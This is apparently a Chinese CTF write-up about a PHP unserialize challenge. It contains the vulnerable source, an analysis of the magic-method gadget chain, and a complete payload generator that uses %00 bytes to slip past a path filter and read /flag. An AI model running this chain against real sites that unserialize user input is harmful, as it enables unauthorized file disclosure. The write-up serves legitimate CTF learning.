题目源代码
<?php
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
public function __toString(){
return $this->Giveme;
}
}
class Onemore{
public $file;
private $filename = "one";
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = "one";
}
public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
if(isset($_GET['game'])){
unserialize($_GET['game']);
}
else{
show_source(__FILE__);
}
源码分析
分析代码后考察的是php反序列化知识点,而在php反序列化中类名和类的成员变量都是可控的。那么类Onemore的file变量可控,就可以通过自定义函数中readfile中的file_get_contents函数来读取flag,那么如何触发readfile执行函数呢?
在类suhasuha中,__set魔术方法存在$this->Giveme = $this->action()的函数调用,而action是该类的成员变量(可控的),可以将Onemore::readfile函数传递给action就可以调用readfile函数。如何触发suhasuha类的__set方法呢?
在类abaaba的__get方法中存在$this->DoNotGet->$name = “two”,对未定义的name赋值,而对一个未定义的属性进行赋值时会触发__set魔术方法,那么将DoNotGet赋值为new suhasuha(),就会触发该类的__set方法。如何触发类abaaba中的__get方法。同理类abaaba中的__toString方法中$this->Giveme访问了未定义的属性,则会触发类abaaba的__get方法。
而触发__toString方法需要将一个类作为字符串使用,可以找到在类One中析构方法__destruct存在echo “try “.$this->count.” again”拼接字符串行为,那么将count赋值为new abaaba(),那么此处就会触发类abaaba中的tostring方法。
综上所述,正向攻击设置new One()–>count=new abaaba(),new abaaba()–>DoNotGet=new suhasuha(),new suhasuha()->action = [new Onemore(),”readfile”];则攻击执行流程为:new abaaba()->tostring->get–new suhasuha()->__set->new Onemore()->readfile。
最后注意safe函数用%00绕过。
解题payload
<?php
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
public function __toString(){
return $this->Giveme;
}
public function __construct($obj){
$this->DoNotGet = $obj;
}
}
class Onemore{
public $file;
private $filename;
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = "one";
}
public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
$one = new One();
$suhasuha = new suhasuha();
$one->count = new abaaba($suhasuha);
$Onemore = new Onemore();
$Onemore->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");
$suhasuha->action = [$Onemore,"readfile"];
echo urlencode(serialize($one));
环境搭建
用php7.4搭好环境,访问payload获取序列化后的字符串,再访问题目源码将字符串传给game参数。
图:1
图:2
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)